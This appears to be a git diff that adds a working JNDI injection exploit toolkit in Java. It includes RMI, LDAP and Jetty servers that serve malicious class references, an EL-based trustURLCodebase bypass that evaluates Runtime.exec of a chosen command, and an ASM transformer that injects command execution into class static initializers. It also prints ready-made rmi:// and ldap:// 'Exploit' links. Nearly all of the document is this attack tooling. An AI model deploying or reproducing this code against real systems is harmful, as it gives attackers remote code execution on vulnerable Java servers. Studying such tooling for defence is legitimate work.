||||||
|
new UID().write(oos);
|
||||||
|
|
||||||
|
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||||
|
|
||||||
|
if (reference.startsWith("Bypass")){
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference.");
|
||||||
|
Reflections.setFieldValue(rw, "wrappee", execByEL());
|
||||||
|
|
||||||
|
}else {
|
||||||
|
System.out.println(
|
||||||
|
String.format(
|
||||||
|
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
|
||||||
|
new URL(cpstring + reference.concat(".class"))));
|
||||||
|
|
||||||
|
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
|
||||||
|
}
|
||||||
|
Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||||
|
refF.setAccessible(true);
|
||||||
|
refF.set(rw, new UnicastServerRef(12345));
|
||||||
|
|
||||||
|
oos.writeObject(rw);
|
||||||
|
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.
|
||||||
|
*/
|
||||||
|
public ResourceRef execByEL() {
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||||
|
ref.add(new StringRefAddr("x", String.format(
|
||||||
|
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
|
||||||
|
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
|
||||||
|
")",
|
||||||
|
this.command
|
||||||
|
)));
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param ois
|
||||||
|
* @throws IOException
|
||||||
|
* @throws ClassNotFoundException
|
||||||
|
*/
|
||||||
|
private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {
|
||||||
|
ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings ( "deprecation" )
|
||||||
|
protected static Object makeDummyObject ( String className ) {
|
||||||
|
try {
|
||||||
|
ClassLoader isolation = new ClassLoader() {};
|
||||||
|
ClassPool cp = new ClassPool();
|
||||||
|
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||||
|
CtClass clazz = cp.get(Dummy.class.getName());
|
||||||
|
clazz.setName(className);
|
||||||
|
return clazz.toClass(isolation).newInstance();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Dummy implements Serializable {
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
private URL sendUrl;
|
||||||
|
|
||||||
|
|
||||||
|
public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {
|
||||||
|
super(out);
|
||||||
|
this.sendUrl = u;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||||
|
super(out);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||||
|
if ( this.sendUrl != null ) {
|
||||||
|
writeObject(this.sendUrl.toString());
|
||||||
|
}
|
||||||
|
else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||||
|
writeObject(null);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||||
|
String cb = "";
|
||||||
|
|
||||||
|
for ( URL u : us ) {
|
||||||
|
cb += u.toString();
|
||||||
|
}
|
||||||
|
writeObject(cb);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Serializes a location from which to load the specified class.
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
|
||||||
|
annotateClass(cl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
146
src/main/java/run/ServerStart.java
Normal file
146
src/main/java/run/ServerStart.java
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
package run;
|
||||||
|
|
||||||
|
import jetty.JettyServer;
|
||||||
|
import jndi.LDAPRefServer;
|
||||||
|
import jndi.RMIRefServer;
|
||||||
|
import org.apache.commons.cli.*;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.net.*;
|
||||||
|
import java.text.DateFormat;
|
||||||
|
import java.text.SimpleDateFormat;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
|
||||||
|
import static util.Mapper.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Classname run.ServerStart
|
||||||
|
* @Description Start servers
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class ServerStart {
|
||||||
|
public static String addr = getLocalIpByNetcard();
|
||||||
|
|
||||||
|
//default ports
|
||||||
|
public static int rmiPort = 1099;
|
||||||
|
public static int ldapPort = 1389;
|
||||||
|
private static int jettyPort = 8180;
|
||||||
|
|
||||||
|
private URL codebase;
|
||||||
|
|
||||||
|
private JettyServer jettyServer;
|
||||||
|
private RMIRefServer rmiRefServer;
|
||||||
|
private LDAPRefServer ldapRefServer;
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception{
|
||||||
|
|
||||||
|
CommandLineParser parser = new DefaultParser();
|
||||||
|
CommandLine cmd = null;
|
||||||
|
//default command
|
||||||
|
String[] cmdArray = {"open","/Applications/Calculator.app"};
|
||||||
|
|
||||||
|
try{
|
||||||
|
cmd = parser.parse(cmdlineOptions(),args);
|
||||||
|
}catch (Exception e){
|
||||||
|
System.err.println("Cmdlines parse failed.");
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
if(cmd.hasOption("C")) {
|
||||||
|
cmdArray = cmd.getOptionValues('C');
|
||||||
|
}
|
||||||
|
if(cmd.hasOption("A")) {
|
||||||
|
addr = cmd.getOptionValue('A');
|
||||||
|
}
|
||||||
|
|
||||||
|
ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "));
|
||||||
|
System.out.println("[ADDRESS] >> " + addr);
|
||||||
|
System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE));
|
||||||
|
Class.forName("util.Mapper");
|
||||||
|
|
||||||
|
System.out.println("----------------------------Server Log----------------------------");
|
||||||
|
System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort);
|
||||||
|
Thread threadJetty = new Thread(servers.jettyServer);
|
||||||
|
threadJetty.start();
|
||||||
|
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort);
|
||||||
|
Thread threadRMI = new Thread(servers.rmiRefServer);
|
||||||
|
threadRMI.start();
|
||||||
|
|
||||||
|
Thread threadLDAP = new Thread(servers.ldapRefServer);
|
||||||
|
threadLDAP.start();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public ServerStart(String cmd) throws Exception{
|
||||||
|
this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/");
|
||||||
|
|
||||||
|
jettyServer = new JettyServer(jettyPort,cmd);
|
||||||
|
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
|
||||||
|
ldapRefServer = new LDAPRefServer(ldapPort,codebase);
|
||||||
|
}
|
||||||
|
|
||||||
|
public ServerStart(URL codebase, String cmd) throws Exception{
|
||||||
|
this.codebase = codebase;
|
||||||
|
|
||||||
|
jettyServer = new JettyServer(jettyPort,cmd);
|
||||||
|
rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd);
|
||||||
|
ldapRefServer = new LDAPRefServer(ldapPort,this.codebase);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Options cmdlineOptions(){
|
||||||
|
Options opts = new Options();
|
||||||
|
Option c = new Option("C",true,"The command executed in remote .class.");
|
||||||
|
c.setArgs(Option.UNLIMITED_VALUES);
|
||||||
|
opts.addOption(c);
|
||||||
|
Option addr = new Option("A",true,"The address of server(ip or domain).");
|
||||||
|
opts.addOption(addr);
|
||||||
|
return opts;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 直接根据第一个网卡地址作为其内网ipv4地址
|
||||||
|
*
|
||||||
|
* @return
|
||||||
|
*/
|
||||||
|
public static String getLocalIpByNetcard() {
|
||||||
|
try {
|
||||||
|
for (Enumeration<NetworkInterface> e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
|
||||||
|
NetworkInterface item = e.nextElement();
|
||||||
|
for (InterfaceAddress address : item.getInterfaceAddresses()) {
|
||||||
|
if (item.isLoopback() || !item.isUp()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (address.getAddress() instanceof Inet4Address) {
|
||||||
|
Inet4Address inet4Address = (Inet4Address) address.getAddress();
|
||||||
|
return inet4Address.getHostAddress();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return InetAddress.getLocalHost().getHostAddress();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get current time
|
||||||
|
*/
|
||||||
|
public static String getLocalTime(){
|
||||||
|
Date d = new Date();
|
||||||
|
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||||
|
return sdf.format(d);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Boolean isLinux(){
|
||||||
|
return !System.getProperty("os.name").toLowerCase().startsWith("win");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String withColor(String str,String color){
|
||||||
|
if (isLinux()) {
|
||||||
|
return color + str + ANSI_RESET;
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
59
src/main/java/util/Mapper.java
Normal file
59
src/main/java/util/Mapper.java
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
package util;
|
||||||
|
|
||||||
|
import org.apache.commons.lang3.RandomStringUtils;
|
||||||
|
|
||||||
|
import static run.ServerStart.addr;
|
||||||
|
import static run.ServerStart.rmiPort;
|
||||||
|
import static run.ServerStart.ldapPort;
|
||||||
|
import static run.ServerStart.withColor;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Classname Mapper
|
||||||
|
* @Description Init the JNDI links
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class Mapper {
|
||||||
|
|
||||||
|
public final static Map<String,String> references = new HashMap<>();
|
||||||
|
public final static Map<String,String> instructions = new HashMap<>();
|
||||||
|
public static final String ANSI_RESET = "\u001B[0m";
|
||||||
|
public static final String ANSI_PURPLE = "\u001B[35m";
|
||||||
|
public static final String ANSI_RED = "\u001B[31m";
|
||||||
|
public static final String ANSI_BLUE = "\u001B[34m";
|
||||||
|
|
||||||
|
|
||||||
|
static {
|
||||||
|
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK8");
|
||||||
|
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"ExecTemplateJDK7");
|
||||||
|
//references.put(RandomStringUtils.randomAlphanumeric(7).toLowerCase(),"BypassByEL");
|
||||||
|
|
||||||
|
references.put("Exploit","ExecTemplateJDK8");
|
||||||
|
references.put("Exploit7","ExecTemplateJDK7");
|
||||||
|
references.put("ExploitBypass","BypassByEL");
|
||||||
|
|
||||||
|
|
||||||
|
instructions.put("ExecTemplateJDK8","Build in "+ withColor("JDK 1.8",ANSI_RED) +" whose trustURLCodebase is true");
|
||||||
|
instructions.put("ExecTemplateJDK7","Build in "+ withColor("JDK 1.7",ANSI_RED) +" whose trustURLCodebase is true");
|
||||||
|
instructions.put("BypassByEL","Build in "+ withColor("JDK",ANSI_RED) +" whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath");
|
||||||
|
|
||||||
|
System.out.println("----------------------------JNDI Links---------------------------- ");
|
||||||
|
for (String name : references.keySet()) {
|
||||||
|
String reference = references.get(name);
|
||||||
|
System.out.println("Target environment(" + instructions.get(reference) +"):");
|
||||||
|
if (reference.startsWith("Bypass")){
|
||||||
|
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
|
||||||
|
}else {
|
||||||
|
System.out.println(withColor("rmi://"+ addr +":"+ rmiPort +"/" + name, ANSI_PURPLE));
|
||||||
|
System.out.println(withColor("ldap://"+ addr +":"+ ldapPort +"/" + name, ANSI_PURPLE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.out.println();
|
||||||
|
}
|
||||||
|
}
|
||||||
69
src/main/java/util/Reflections.java
Normal file
69
src/main/java/util/Reflections.java
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
package util;
|
||||||
|
|
||||||
|
import sun.reflect.ReflectionFactory;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings ( "restriction" )
|
||||||
|
public class Reflections {
|
||||||
|
|
||||||
|
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
if ( field != null )
|
||||||
|
field.setAccessible(true);
|
||||||
|
else if ( clazz.getSuperclass() != null )
|
||||||
|
field = getField(clazz.getSuperclass(), fieldName);
|
||||||
|
|
||||||
|
return field;
|
||||||
|
}
|
||||||
|
catch ( NoSuchFieldException e ) {
|
||||||
|
if ( !clazz.getSuperclass().equals(Object.class) ) {
|
||||||
|
return getField(clazz.getSuperclass(), fieldName);
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
|
||||||
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
|
||||||
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Constructor<?> getFirstCtor ( final String name ) throws Exception {
|
||||||
|
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
|
||||||
|
ctor.setAccessible(true);
|
||||||
|
return ctor;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
|
||||||
|
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"unchecked"
|
||||||
|
} )
|
||||||
|
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
|
||||||
|
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||||
|
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||||
|
objCons.setAccessible(true);
|
||||||
|
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||||
|
sc.setAccessible(true);
|
||||||
|
return (T) sc.newInstance(consArgs);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
83
src/main/java/util/Transformers.java
Normal file
83
src/main/java/util/Transformers.java
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
package util;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Classname Transformers
|
||||||
|
* @Description Insert command to the template classfile
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class Transformers {
|
||||||
|
|
||||||
|
public static byte[] insertCommand(InputStream inputStream, String command) throws Exception{
|
||||||
|
|
||||||
|
ClassReader cr = new ClassReader(inputStream);
|
||||||
|
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
|
||||||
|
ClassVisitor cv = new TransformClass(cw,command);
|
||||||
|
|
||||||
|
cr.accept(cv, 2);
|
||||||
|
return cw.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static class TransformClass extends ClassVisitor{
|
||||||
|
|
||||||
|
String command;
|
||||||
|
|
||||||
|
TransformClass(ClassVisitor classVisitor, String command){
|
||||||
|
super(Opcodes.ASM7,classVisitor);
|
||||||
|
this.command = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(
|
||||||
|
final int access,
|
||||||
|
final String name,
|
||||||
|
final String descriptor,
|
||||||
|
final String signature,
|
||||||
|
final String[] exceptions) {
|
||||||
|
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if(name.equals("<clinit>")){
|
||||||
|
return new TransformMethod(mv,command);
|
||||||
|
}else{
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class TransformMethod extends MethodVisitor{
|
||||||
|
|
||||||
|
String command;
|
||||||
|
|
||||||
|
TransformMethod(MethodVisitor methodVisitor,String command) {
|
||||||
|
super(Opcodes.ASM7, methodVisitor);
|
||||||
|
this.command = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode(){
|
||||||
|
|
||||||
|
Label label0 = new Label();
|
||||||
|
Label label1 = new Label();
|
||||||
|
Label label2 = new Label();
|
||||||
|
mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
|
||||||
|
mv.visitLabel(label0);
|
||||||
|
mv.visitLdcInsn(command);
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 0);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 0);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(label1);
|
||||||
|
Label label3 = new Label();
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, label3);
|
||||||
|
mv.visitLabel(label2);
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 0);
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 0);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||||
|
mv.visitLabel(label3);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
BIN
src/main/resources/template/ExecTemplateJDK7.class
Normal file
BIN
src/main/resources/template/ExecTemplateJDK7.class
Normal file
Binary file not shown.
BIN
src/main/resources/template/ExecTemplateJDK8.class
Normal file
BIN
src/main/resources/template/ExecTemplateJDK8.class
Normal file
Binary file not shown.
BIN
src/test/.DS_Store
vendored
Normal file
BIN
src/test/.DS_Store
vendored
Normal file
Binary file not shown.
11
src/test/java/ExecTemplateJDK7.java
Normal file
11
src/test/java/ExecTemplateJDK7.java
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
/**
|
||||||
|
* @Classname ExecTemplateJDK7
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class ExecTemplateJDK7 {
|
||||||
|
|
||||||
|
static {
|
||||||
|
System.out.println();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
11
src/test/java/ExecTemplateJDK8.java
Normal file
11
src/test/java/ExecTemplateJDK8.java
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
/**
|
||||||
|
* @Classname ExecTemplateJDK8
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class ExecTemplateJDK8 {
|
||||||
|
|
||||||
|
static {
|
||||||
|
System.out.println();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
15
src/test/java/TestRuntime.java
Normal file
15
src/test/java/TestRuntime.java
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
import javax.naming.InitialContext;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Classname TestRuntime
|
||||||
|
* @Description For testing your command
|
||||||
|
* @Author Welkin
|
||||||
|
*/
|
||||||
|
public class TestRuntime {
|
||||||
|
@Test
|
||||||
|
public void testRuntime() throws Exception{
|
||||||
|
Runtime.getRuntime().exec("id");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user